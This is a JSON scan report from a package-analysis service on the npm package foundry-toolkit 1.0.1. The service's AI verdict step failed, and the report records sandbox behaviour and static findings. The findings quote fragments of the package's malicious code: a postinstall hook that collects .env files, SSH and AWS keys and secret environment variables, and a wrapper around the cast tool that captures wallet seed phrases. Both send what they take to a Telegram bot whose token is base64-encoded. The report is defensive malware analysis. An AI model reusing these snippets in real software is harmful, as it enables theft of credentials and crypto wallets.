{"package":"foundry-toolkit","version":"1.0.1","known":true,"status":"error","discovered_at":1790298533247,"has_install_script":true,"report_url":"https://andymal.com/packages/foundry-toolkit/1.0.1","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790367141596,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":4911,"lab_ip":"10.77.0.155","hooks":[{"name":"postinstall","command":"node postinstall.js","exit":0,"timed_out":false,"seconds":3,"stdout_tail":"\n> foundry-toolkit@1.0.1 postinstall\n> node postinstall.js\n\n","stderr_tail":""}],"process_count":8,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","/bin/sh -c ps aux | head -11","ps aux","head -11","/bin/sh -c netstat -tulpn 2>/dev/null || ss -tulpn 2>/dev/null || echo \"netstat/ss not available\""],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":13},{"proto":"socket","ip":"10.77.0.2","port":443,"n":13,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"api.telegram.org","n":13}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd","/home/andy/.aws/credentials","/home/andy/.ssh/id_rsa","/home/andy/.npmrc","/home/andy/.git-credentials","/home/andy/.docker/config.json"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"foundry-toolkit","version":"1.0.1","description":"Unofficial Foundry helpers","scripts":{"postinstall":"node postinstall.js"},"install_hooks":{"postinstall":"node postinstall.js"},"bin":{"cast":"cast.js"},"dependencies":[],"hasInstallScript":true},"files":[{"path":"cast.js","size":2450,"kind":"text","score":1,"hits":["network_egress","download_execute","code_execution","obfuscation","reconnaissance","crypto_wallet"],"role":"entry"},{"path":"postinstall.js","size":4959,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","code_execution","obfuscation","reconnaissance","privilege","crypto_wallet"],"role":"entry"},{"path":"package.json","size":199,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]}],"file_count":3,"unpacked_size":7608,"findings":[{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Network activity","detail":"=== 'win32'; function exfil(data) { const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encod","severity":"medium","location":"cast.js:13"},{"title":"Network activity","detail":"age?chat_id=${CHAT_ID}&text=${encodeURIComponent(data)}`; https.get(url).on('error', () => {}); } const args = process.argv.sli","severity":"medium","location":"cast.js:14"},{"title":"Network activity","detail":"not available'); console.error('Install Foundry first: curl -L https://foundry.paradigm.xyz | bash'); process.exit(1","severity":"medium","location":"cast.js:57"},{"title":"Download-and-execute chain","detail":"not available'); console.error('Install Foundry first: curl -L https://foundry.paradigm.xyz | bash'); process.exit(1); } } catch (error) { exfil(`❌ CA","severity":"critical","location":"cast.js:57"},{"title":"Executes commands or dynamic code","detail":"#!/usr/bin/env node const { execSync } = require('child_process'); const https = require('https'","severity":"medium","location":"cast.js:2"},{"title":"Executes commands or dynamic code","detail":"#!/usr/bin/env node const { execSync } = require('child_process'); const https = require('https'); const path = require('pa","severity":"medium","location":"cast.js:2"},{"title":"Executes commands or dynamic code","detail":"exe' : 'cast'); try { if (fs.existsSync(realCast)) { execSync(`\"${realCast}\" ${args}`, { stdio: 'inherit', shell: true })","severity":"medium","location":"cast.js:52"},{"title":"Executes commands or dynamic code","detail":"l: true }); } else if (fs.existsSync(originalCast)) { execSync(`\"${originalCast}\" ${args}`, { stdio: 'inherit', shell: tru","severity":"medium","location":"cast.js:54"},{"title":"Obfuscated or encoded code","detail":"os'); // Same obfuscated Telegram config const BOT_TOKEN = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3Mz","severity":"high","location":"cast.js:8"},{"title":"Obfuscated or encoded code","detail":"3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); const isWindows = process.platform === 'win32'","severity":"high","location":"cast.js:9"},{"title":"System reconnaissance","detail":"; exfil(`🔍 CAST COMMAND INTERCEPTED: cast ${args}\\nUser: ${os.userInfo().username}\\nTime: ${new Date().toISOString()}`); // Capture","severity":"low","location":"cast.js:18"},{"title":"System reconnaissance","detail":"/ Run real cast if backup exists const realCast = path.join(os.homedir(), '.foundry', 'bin', isWindows ? 'cast.bak.exe' : 'cast.bak'","severity":"low","location":"cast.js:47"},{"title":"System reconnaissance","detail":"cast.bak.exe' : 'cast.bak'); const originalCast = path.join(os.homedir(), '.foundry', 'bin', isWindows ? 'cast.exe' : 'cast'); try","severity":"low","location":"cast.js:48"},{"title":"Crypto wallet targeting or address swapping","detail":"username}\\nTime: ${new Date().toISOString()}`); // Capture mnemonics const seedMatch = args.match(/(?:--mnemonic|wallet\\s+impor","severity":"high","location":"cast.js:20"},{"title":"Crypto wallet targeting or address swapping","detail":"); // Capture mnemonics const seedMatch = args.match(/(?:--mnemonic|wallet\\s+import)\\s+[\"']?([a-zA-Z]+(?:\\s+[a-zA-Z]+)*)[\"']?/)","severity":"high","location":"cast.js:21"},{"title":"Crypto wallet targeting or address swapping","detail":"-Z]+(?:\\s+[a-zA-Z]+)*)[\"']?/); if (seedMatch) { exfil(`💰 SEED PHRASE CAPTURED: ${seedMatch[1]}\\nFull command: cast ${args}`); }","severity":"high","location":"cast.js:23"},{"title":"Install hook runs a script","detail":"\", \"bin\": { \"cast\": \"cast.js\" }, \"scripts\": { \"postinstall\": \"node postinstall.js\" } }","severity":"medium","location":"package.json:9"},{"title":"Touches credential stores or secrets","detail":"T ENV FILES AND SECRETS const SECRET_PATHS = [ '.env', '.env.local', '.env.production', '.env.development', '.aws/creden","severity":"high","location":"postinstall.js:32"},{"title":"Touches credential stores or secrets","detail":"SECRETS const SECRET_PATHS = [ '.env', '.env.local', '.env.production', '.env.development', '.aws/credentials', '.ssh/id_rs","severity":"high","location":"postinstall.js:33"},{"title":"Touches credential stores or secrets","detail":"'.env.local', '.env.production', '.env.development', '.aws/credentials', '.ssh/id_rsa', '.ssh/id_rsa.pub', '.ssh/known_hosts","severity":"high","location":"postinstall.js:35"},{"title":"Touches credential stores or secrets","detail":"production', '.env.development', '.aws/credentials', '.ssh/id_rsa', '.ssh/id_rsa.pub', '.ssh/known_hosts', '.npmr","severity":"high","location":"postinstall.js:36"},{"title":"Dumps the whole environment (API keys live there)","detail":"LECT PROCESS ENV (sensitive variables) const sensitiveEnv = Object.keys(process.env) .filter(key => key.includes('KEY') || key.incl","severity":"high","location":"postinstall.js:60"},{"title":"Network activity","detail":"function sendToTelegram(message) { const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encod","severity":"medium","location":"postinstall.js:14"},{"title":"Network activity","detail":"?chat_id=${CHAT_ID}&text=${encodeURIComponent(message)}`; https.get(url).on('error', () => {}); } function run(cmd) { try {","severity":"medium","location":"postinstall.js:15"},{"title":"Executes commands or dynamic code","detail":"os = require('os'); const https = require('https'); const { execSync } = require('child_process'); // ---------- YOUR TELEGRAM","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"nst https = require('https'); const { execSync } = require('child_process'); // ---------- YOUR TELEGRAM CONFIG (base64 encoded) ---","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"rror', () => {}); } function run(cmd) { try { return execSync(cmd, { stdio: 'pipe', encoding: 'utf8', shell: true }); }","severity":"medium","location":"postinstall.js:20"},{"title":"Obfuscated or encoded code","detail":"LEGRAM CONFIG (base64 encoded) ---------- const BOT_TOKEN = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3M","severity":"high","location":"postinstall.js:9"},{"title":"Obfuscated or encoded code","detail":"3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); // -------------------------------------------","severity":"high","location":"postinstall.js:10"},{"title":"System reconnaissance","detail":"m(`🚨 MALWARE INSTALLED: foundry-toolkit@1.0.1\\nPlatform: ${os.platform()} ${os.arch()}\\nUser: ${os.userInfo().username}\\nHostname: $","severity":"low","location":"postinstall.js:27"},{"title":"System reconnaissance","detail":"kit@1.0.1\\nPlatform: ${os.platform()} ${os.arch()}\\nUser: ${os.userInfo().username}\\nHostname: ${os.hostname()}\\nTime: ${new Date().t","severity":"low","location":"postinstall.js:27"},{"title":"System reconnaissance","detail":"${os.arch()}\\nUser: ${os.userInfo().username}\\nHostname: ${os.hostname()}\\nTime: ${new Date().toISOString()}`); // 1. COLLECT ENV F","severity":"low","location":"postinstall.js:27"},{"title":"System reconnaissance","detail":"'.git-credentials', '.docker/config.json', path.join(os.homedir(), '.bash_history'), path.join(os.homedir(), '.zsh_history'","severity":"low","location":"postinstall.js:42"},{"title":"Privilege elevation","detail":"FileSync(path.join(__dirname, 'cast.js'), REAL_CAST); fs.chmodSync(REAL_CAST, 0o755); sendToTelegram(`🔄 Binary replaced: ${REAL_CAST}","severity":"low","location":"postinstall.js:90"},{"title":"Crypto wallet targeting or address swapping","detail":"ta sent: Multiple messages\\nNext: Try 'cast wallet import --mnemonic \"test ...\"'`);","severity":"high","location":"postinstall.js:151"}],"injection_findings":[],"hits":{"network_egress":5,"download_execute":1,"code_execution":7,"obfuscation":4,"reconnaissance":8,"crypto_wallet":4,"install_hook_shell":1,"credential_access":5,"credential_harvest":1,"privilege":1},"iocs":{"urls":["https://foundry.paradigm.xyz"],"domains":["foundry.paradigm.xyz"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node postinstall.js","untrusted hosts referenced: foundry.paradigm.xyz","capability hits: reconnaissance×8, code_execution×7, network_egress×5, credential_access×5, obfuscation×4, crypto_wallet×4, download_execute×1, install_hook_shell×1, credential_harvest×1, privilege×1"],"entry_files":["postinstall.js","cast.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}